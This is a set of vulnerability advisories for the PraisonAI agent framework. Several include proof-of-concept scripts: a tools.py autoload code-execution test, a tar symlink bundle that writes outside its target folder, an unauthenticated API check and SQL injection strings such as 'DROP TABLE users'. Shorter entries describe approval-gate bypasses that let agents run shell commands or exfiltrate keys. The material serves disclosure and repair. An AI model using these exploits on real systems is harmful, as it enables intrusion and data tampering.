The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.
Impact
An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.
The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.
Reproduction
Run the attached local-only PoV:
bash python3 pov.py
Expected vulnerable output:
text VULNERABLE: included recipe tools.py executed with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset marker=... markercontent=executed
The PoV:
1. Unsets PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS. 2. Creates a temporary childrecipe/tools.py with a marker-write payload. 3. Creates a minimal childrecipe/workflow.yaml. 4. Runs Workflow(steps=[include("childrecipe")]).run(...). 5. Confirms the marker file was written before any model-backed workflow step is needed.
Supplementary higher-level API check:
bash python3 povreciperun.py
Expected vulnerable output:
text VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset recipestatus=success recipeok=True marker=... markercontent=executed
Validation
Tested vulnerable:
- Current head: bcb6957dac1bc8949866522948a9f61d7e4bd4c1 - Latest release tag: v4.6.56 (praisonai==4.6.56, praisonaiagents==1.6.56) - Older affected tag: v3.9.26 (praisonai==3.9.26, praisonaiagents==0.12.12)
Negative/control observations:
- v3.9.24 does not expose the same include helper/API used by this PoV. - The hardened praisonai.templates.tooloverride.createtoolregistrywithoverrides(..., templatedir=...) path does not execute tools.py when PRAISONAIALLOWTEMPLATETOOLS is unset. - Existing regression test src/praisonai/tests/unit/templates/testtooloverrideautoloadgate.py states that implicit recipe/template tools.py autoload should be gated behind PRAISONAIALLOWTEMPLATETOOLS. - Include is a first-class workflow feature, not an accidental private method: repository tests cover include() imports, YAML include parsing, direct Workflow.executeinclude presence, and include steps inside loops. - praisonai.recipe.run() also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.
Root Cause
The include implementation reintroduced a direct importlib.util.specfromfilelocation() plus spec.loader.execmodule() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.
Suggested Fix
Route included-recipe tool loading through the same security policy used by the template tool override system.
Conservative options:
1. Do not implicitly load included recipe tools.py by default. 2. Only load it when PRAISONAIALLOWTEMPLATETOOLS is explicitly truthy. 3. Prefer explicit toolssources, overridefiles, or a caller-supplied registry for custom tools. 4. Add regression coverage for Workflow(steps=[include("...")]) proving included recipe tools.py does not execute with the opt-in unset. 5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.
If local workflow includes are intended to use PRAISONAIALLOWLOCALTOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw execmodule() directly.
Severity
Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.
Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.
Appendix A - pov.py
python #!/usr/bin/env python3 """Local PoV for PraisonAI workflow include tools.py autoload.
This PoV uses only local files and the public workflow API. It verifies whether a workflow-local include executes the included recipe's tools.py even when the PRAISONAIALLOWLOCALTOOLS opt-in is unset. """
from future import annotations
import os import shutil import sys import tempfile from pathlib import Path
MARKERNAME = "praiworkflowincludetoolsautoloadmarker.txt"
def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-")) oldcwd = Path.cwd() try: recipe = workdir / "childrecipe" recipe.mkdir() marker = workdir / MARKERNAME
(recipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", ) (recipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", )
os.chdir(workdir)
from praisonaiagents.workflows.workflows import Workflow, include
workflow = Workflow(steps=[include("childrecipe")]) workflow.run(input="", llm="dummy/local", stream=False)
if marker.exists(): print( "VULNERABLE: included recipe tools.py executed with " "PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0
print("NOT VULNERABLE: included recipe tools.py did not execute") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)
if name == "main": raise SystemExit(main())
Appendix B - povreciperun.py
python #!/usr/bin/env python3 """Supplementary local PoV through praisonai.recipe.run().
This exercises the higher-level recipe API. It does not start a network server or rely on any external service. The payload writes a local marker file only. """
from future import annotations
import os import shutil import sys import tempfile from pathlib import Path
MARKERNAME = "praireciperunincludetoolsautoloadmarker.txt"
def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-")) oldcwd = Path.cwd() try: parentrecipe = workdir / "parentrecipe" childrecipe = workdir / "childrecipe" parentrecipe.mkdir() childrecipe.mkdir() marker = workdir / MARKERNAME
(parentrecipe / "TEMPLATE.yaml").writetext( "name: parentrecipe\n" "version: 1.0.0\n" "workflow: workflow.yaml\n", encoding="utf-8", ) (parentrecipe / "workflow.yaml").writetext( "name: parent\n" "steps:\n" " - include: childrecipe\n", encoding="utf-8", ) (childrecipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", ) (childrecipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", )
os.chdir(workdir)
from praisonai import recipe
result = recipe.run(str(parentrecipe), input={}, options={"force": True})
if marker.exists(): print( "VULNERABLE: praisonai.recipe.run() reached workflow include " "tools.py execution with PRAISONAIALLOWLOCALTOOLS and " "PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"recipestatus={result.status}") print(f"recipeok={result.ok}") print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0
print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py") print(f"recipestatus={result.status}") print(f"recipeerror={result.error}") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)
if name == "main": raise SystemExit(main())
PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib specfromfilelocation() and execmodule() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.
PraisonAI Platform before 0.1.9 fails to properly authorize label and issue-label mutations, allowing workspace members to rename and recolor shared labels and add or remove labels on owner-created issues. Attackers with workspace member privileges can exploit PATCH and POST/DELETE endpoints to alter shared label taxonomy and manipulate issue-label associations without owner or admin authorization.
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agentinvoke.py) when PRAISONAICALLAUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agentid}/invoke) registered agents without authentication.
PraisonAI before 1.6.78 contains a server-side request forgery vulnerability in the webcrawl tool that validates hostnames at check time but re-resolves them at connection time without IP pinning. Attackers can use DNS rebinding to bypass SSRF protection and retrieve internal HTTP response bodies from private or loopback services.
PraisonAI before 4.6.78 exposes the MCP HTTP-stream transport without authentication by default: the CLI --api-key option defaults to None, and the server only enforces Authorization/Bearer checks when an API key is configured. When an operator runs 'praisonai mcp serve --transport http-stream' without an API key, an unauthenticated client (no Authorization header, and no Origin header, which is also permitted) can initialize a session, enumerate the available tools (tools/list), and invoke tools (tools/call). Additionally, the dispatcher forwards tool-call arguments to handlers without validating them against the advertised inputSchema. The server binds to 127.0.0.1 by default, so remote exploitation requires the operator to bind to a network-accessible address (e.g., --host 0.0.0.0).
PraisonAI before 1.7.3 contains an insecure default configuration that binds to all interfaces with no API key requirement and wildcard CORS. Unauthenticated attackers can call GET /api/agents to read agent instructions and system prompts, or POST /api/chat to invoke agents without authentication.
PraisonAI before 4.6.78 fails to validate the caller-controlled dimension argument in the PGVector and Cassandra knowledge-store createcollection() backends. Although schema, keyspace, and collection-name identifiers are validated, the dimension value (declared as int but not enforced at runtime) is interpolated directly into the vector column of the generated CREATE TABLE DDL. A caller able to influence collection-creation dimensions can pass a string such as '3); DROP TABLE tenantsecrets; --' to inject SQL/CQL tokens into the statement executed by the database driver.
PraisonAI versions before 4.6.78 contain a code injection vulnerability in deploy/api.py where the agentsfile parameter is directly interpolated into an f-string without sanitization. Attackers can inject arbitrary Python code that executes when the generated server code runs via subprocess.Popen().
PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.
PraisonAI before 4.6.78 contains a path traversal vulnerability in ContextGatherer that fails to validate include paths in .praisoncontext and .praisoninclude files. Attackers can supply absolute paths or parent directory traversal sequences to read arbitrary files outside the workspace and include their contents in the generated context bundle.
PraisonAI (praisonaiagents) before 1.6.78 contains a path traversal vulnerability in the FastContext feature (praisonaiagents.context.fast). FastContextAgent.executetool() prepends the configured workspacepath only for relative paths and neither rejects absolute paths nor canonicalizes joined paths before enforcing workspace containment. As a result, tool arguments or model-generated function calls to grepsearch, globsearch, readfile, or listdirectory can supply absolute paths or '../' traversal sequences to read, search, and enumerate files outside the intended workspace directory, with file contents returned to the caller or injected into the model's tool-result context.
PraisonAI before 4.6.78 contains an unauthenticated server-side request forgery vulnerability in the Jobs API /api/v1/runs endpoint. The webhookurl parameter is validated at request time but re-resolved at connection time, allowing attackers to use DNS rebinding to reach internal services with a blind SSRF attack.
PraisonAI before 0.1.7 fails to validate that projectid in issue create and update request bodies belongs to the URL workspace. An attacker can create issues referencing projects from other workspaces, causing cross-tenant data pollution in project statistics aggregation without workspace constraints.
PraisonAI before 1.5.115 contains a path traversal vulnerability in MultiAgentMonitor that fails to sanitize agent IDs when building file paths. Attackers can include traversal sequences like ../ in agent IDs to read, write, or overwrite arbitrary files, enabling sensitive disclosure, denial of service, or code execution.
PraisonAI before 1.5.128 contains a cross-origin agent execution vulnerability in the AGUI endpoint that allows remote attackers to trigger arbitrary agent execution. The POST /agui endpoint lacks authentication and hardcodes Access-Control-Allow-Origin: headers, combined with Starlette's Content-Type-agnostic JSON parsing, enabling attackers to bypass CORS preflight checks via simple requests and exfiltrate sensitive agent responses including tool execution results and environment data.
PraisonAI before 1.5.115 contains an information disclosure vulnerability in the MultiAgentLedger component that allows attackers to access sensitive data by registering agents with duplicate IDs. Attackers can exploit the lack of agent ID uniqueness enforcement to share ledger instances and expose system prompts and conversation history between agents.
PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approvalmode to auto, overriding administrator configuration from PRAISONAPPROVALMODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.
PraisonAI before 1.5.128 caches tool approval decisions by tool name only, not by invocation arguments, allowing subsequent executecommand calls to bypass approval prompts. Attackers can exploit this by obtaining initial approval for a benign command, then silently exfiltrate API keys and credentials via subsequent shell commands without user consent.
Summary The safeextractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(destdir) without filter="data". A bundle that contains a symlink with a name inside destdir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes destdir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.
Affected paths
Every code path that calls safeextractall is exposed:
| Caller | File:line | |---|---| | praisonai recipe unpack | src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c) | | LocalRegistry.unpack (recipe pull) | src/praisonai/praisonai/recipe/registry.py:413 | | Registry archive validation (publish) | src/praisonai/praisonai/recipe/registry.py:808 |
Root cause
recipe/registry.py:131-178:
python def safeextractall(tar: tarfile.TarFile, destdir: Path) -> None: ... for member in tar.getmembers(): ... memberpath = Path(member.name) if memberpath.isabsolute(): raise RegistryError(...) if '..' in memberpath.parts: raise RegistryError(...) resolved = (destresolved / memberpath).resolve() if not str(resolved).startswith(str(destresolved) + os.sep) and resolved != destresolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(destdir)
Three gaps:
1. The loop checks only member.name. member.linkname (the symlink / hardlink target) is not inspected. 2. member.issym() and member.islnk() are not used to refuse link members at all. 3. tar.extractall(destdir) runs without filter="data". On Python ≤ 3.13 the default is fullytrusted (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside destdir.
When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.
Reproduction
Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).
makebundle.py:
python import io, json, tarfile manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo("manifest.json"); info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest))
sym = tarfile.TarInfo("legit/escape") sym.type = tarfile.SYMTYPE sym.linkname = "/tmp/PWNED" tar.addfile(sym)
payload = b"PWNED via symlink-extraction bypass of safeextractall\n" pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload) tar.addfile(pf, io.BytesIO(payload))
directtest.py:
python import shutil, tarfile from pathlib import Path from praisonai.recipe.registry import safeextractall
DEST = Path("/work/recipesdirect") shutil.rmtree(DEST, ignoreerrors=True); DEST.mkdir(parents=True) Path("/tmp/PWNED").mkdir(parents=True, existok=True)
with tarfile.open("malicious.praison", "r:gz") as tar: safeextractall(tar, DEST)
assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape" print("PWNED:", Path("/tmp/PWNED/owned.txt").readtext())
Run:
bash docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c ' pip install -q praisonai && python makebundle.py && python directtest.py '
Observed output:
safeextractall returned cleanly PWNED: PWNED via symlink-extraction bypass of safeextractall
/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to extract into.
Impact
Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious .praison bundle through any of the three callers above.
Realistic exploitation paths:
- A user runs praisonai recipe unpack ./<malicious>.praison after obtaining the bundle from a shared registry, a tutorial link, or direct messaging. - A user runs praisonai recipe pull <name> against a malicious or compromised registry. - A registry server processes an uploaded .praison bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).
Where the agent process runs as a regular user, the attacker can overwrite shell config (.bashrc, .zshrc, .profile), SSH authorizedkeys, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some sudo-launched workflows), the attacker controls arbitrary system files.
This re-opens the recipe pull, recipe publish, and recipe unpack paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.
Suggested remediation
Single-line fix at recipe/registry.py:178:
python tar.extractall(destdir, filter="data")
filter="data" (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class. If you also support older Python, add an explicit guard inside the existing per-member loop before tar.extractall:
python if member.issym() or member.islnk(): linktarget = (destresolved / memberpath.parent / member.linkname).resolve() if member.linkname.startswith("/") or not str(linktarget).startswith(str(destresolved) + os.sep): raise RegistryError( f"Refusing to extract link with target outside dest dir: " f"{member.name} -> {member.linkname}" )
Affected versions
praisonai >= 2.7.2 through current 4.6.35 (the helper exists at least back to the earliest path-traversal patch chain referenced in GHSA-99g3-w8gr-x37c). All releases that route extraction through safeextractall are exposed.
Disclosure
Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new
-- Dhiral Vyas
Summary PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.
Details The vulnerable server is the shipped src/praisonai/apiserver.py entrypoint.
- AUTHENABLED = False and AUTHTOKEN = None are hard-coded at [src/praisonai/apiserver.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/apiserver.py:15). - checkauth() returns True whenever authentication is disabled, so both protected routes fail open by design at [src/praisonai/apiserver.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/apiserver.py:18). - POST /chat only checks that the request JSON contains a message key and then runs PraisonAI(agentfile="agents.yaml").run() at [src/praisonai/apiserver.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/apiserver.py:31). - GET /agents is guarded by the same no-op authentication check and returns agent metadata at [src/praisonai/apiserver.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/apiserver.py:55). - When launched directly, the same script binds to 0.0.0.0:8080 at src/praisonai/apiserver.py.
The deploy subsystem keeps the same insecure authentication default:
- APIConfig defaults authenabled to False in [src/praisonai/praisonai/deploy/models.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23). - The generated sample API deployment YAML recommends host: 0.0.0.0 together with authenabled: false in [src/praisonai/praisonai/deploy/schema.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).
For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in [src/praisonai/praisonai/cli/commands/serve.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.
Version scope:
- v2.5.6 already ships the same src/praisonai/apiserver.py implementation. - The current PyPI release on May 1, 2026 is 4.6.33, and it still ships the same unauthenticated server logic.
PoC The following route-level reproduction was verified locally and proves that the shipped apiserver.py exposes /agents and /chat without authentication.
1. From the repository root, create a throwaway environment with the server's direct Flask dependencies:
bash python3 -m venv /tmp/praisonai-ghsa-venv /tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
2. Execute the shipped src/praisonai/apiserver.py under a minimal stub for praisonai.PraisonAI so only the server auth logic is exercised:
bash /tmp/praisonai-ghsa-venv/bin/python - <<'PY' import importlib.util import pathlib import sys import types
stub = types.ModuleType("praisonai")
class DummyPraisonAI: def init(self, agentfile="agents.yaml"): self.agentfile = agentfile def run(self): return {"ran": True, "agentfile": self.agentfile}
stub.PraisonAI = DummyPraisonAI sys.modules["praisonai"] = stub
path = pathlib.Path("src/praisonai/apiserver.py").resolve() spec = importlib.util.specfromfilelocation("apiserverlocal", path) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod)
client = mod.app.testclient() print(client.get("/agents").statuscode, client.get("/agents").getdata(astext=True)) print(client.post("/chat", json={"message": "hello"}).statuscode, client.post("/chat", json={"message": "hello"}).getdata(astext=True)) PY
3. Observed result:
text 200 {"agentfile":"agents.yaml","agents":["default"]} 200 {"response":{"agentfile":"agents.yaml","ran":true},"status":"success"}
Both endpoints succeed without any Authorization header.
Impact Any reachable caller can invoke the legacy API server's protected functionality without a token.
At minimum, this allows:
- unauthenticated enumeration of the configured agent file through /agents - unauthenticated triggering of the locally configured agents.yaml workflow through /chat - repeated consumption of model/API quota and any other side effects performed by that workflow - exposure of whatever result PraisonAI.run() returns to the unauthenticated caller
This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.
Summary PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.
Details This issue affects the public persistence layer exported by persistence/init.py, which exposes KnowledgeStore and createknowledgestore(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):
- pgvector at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162) - cassandra at persistence/factory.py - singlestorevector at persistence/factory.py
The common root cause is that the KnowledgeStore interface accepts free-form collection names in createcollection(), deletecollection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.
Representative sinks:
- SingleStoreVectorKnowledgeStore builds tablename = f"{self.tableprefix}{name}" and executes raw DDL in [persistence/knowledge/singlestorevector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestorevector.py:92). The same pattern is reused for deletecollection, insert, upsert, search, get, delete, and count. - PGVectorKnowledgeStore builds public.praisonvec{collection} and idx{name}embedding directly into SQL in [persistence/knowledge/pgvector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82). - CassandraKnowledgeStore interpolates name and collection directly into CREATE TABLE, DROP TABLE, INSERT, SELECT, DELETE, and COUNT statements in [persistence/knowledge/cassandra.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).
There is already an internal identifier validator in the conversation persistence layer:
- validateidentifier() only allows alphanumeric characters and underscores in [persistence/conversation/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)
That validator is used for SQL identifiers such as tableprefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.
Version scope:
- pgvector.py and cassandra.py were already present by v2.4.1 - singlestorevector.py was present by v2.4.3 - the current PyPI release on May 1, 2026 is 4.6.33, and the same interpolation patterns are still present
Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.
PoC The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.
1. Reproduce the SingleStoreVectorKnowledgeStore.deletecollection() query construction:
bash python3 - <<'PY' import importlib.util import pathlib import sys import types
base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")
mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.path = [] sys.modules[k] = v
def load(name, path): spec = importlib.util.specfromfilelocation(name, path) mod = importlib.util.modulefromspec(spec) sys.modules[name] = mod spec.loader.execmodule(mod) return mod
load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") ss = load("praisonai.persistence.knowledge.singlestorevector", base / "knowledge" / "singlestorevector.py")
class FakeCursor: def init(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def enter(self): return self def exit(self, args): return False
class FakeConn: def init(self): self.calls = [] def cursor(self): return FakeCursor(self)
store = ss.SingleStoreVectorKnowledgeStore() store.initialized = True store.conn = FakeConn() store.deletecollection("x; DROP TABLE users; --") print(store.conn.calls[-1][0].strip()) PY
Observed result:
text DROP TABLE IF EXISTS praisonaix; DROP TABLE users; --
2. Reproduce the PGVectorKnowledgeStore.createcollection() query construction:
bash python3 - <<'PY' import importlib.util import pathlib import sys import types
base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")
mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.path = [] sys.modules[k] = v
def load(name, path): spec = importlib.util.specfromfilelocation(name, path) mod = importlib.util.modulefromspec(spec) sys.modules[name] = mod spec.loader.execmodule(mod) return mod
load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
psycopg2 = types.ModuleType("psycopg2") extras = types.ModuleType("psycopg2.extras") pool = types.ModuleType("psycopg2.pool") class DummyPool: def init(self, a, k): pass def getconn(self): return None def putconn(self, c): pass pool.ThreadedConnectionPool = DummyPool extras.RealDictCursor = object psycopg2.pool = pool sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras
pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")
class FakeCursor: def init(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def enter(self): return self def exit(self, args): return False
class FakeConn: def init(self): self.calls = [] def cursor(self): return FakeCursor(self) def commit(self): pass
store = pg.PGVectorKnowledgeStore(autocreateextension=False) conn = FakeConn() store.getconn = lambda: conn store.putconn = lambda c: None store.createcollection("x; DROP TABLE users; --", 3) for query, in conn.calls: print(query.strip()) PY
Observed result includes:
text CREATE TABLE IF NOT EXISTS public.praisonvecx; DROP TABLE users; -- ( CREATE INDEX IF NOT EXISTS idxx; DROP TABLE users; --embedding
The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.
Impact This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.
Potential impact depends on backend and driver behavior, but includes:
- malformed queries and backend errors - access to unintended tables or indexes - execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape
I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.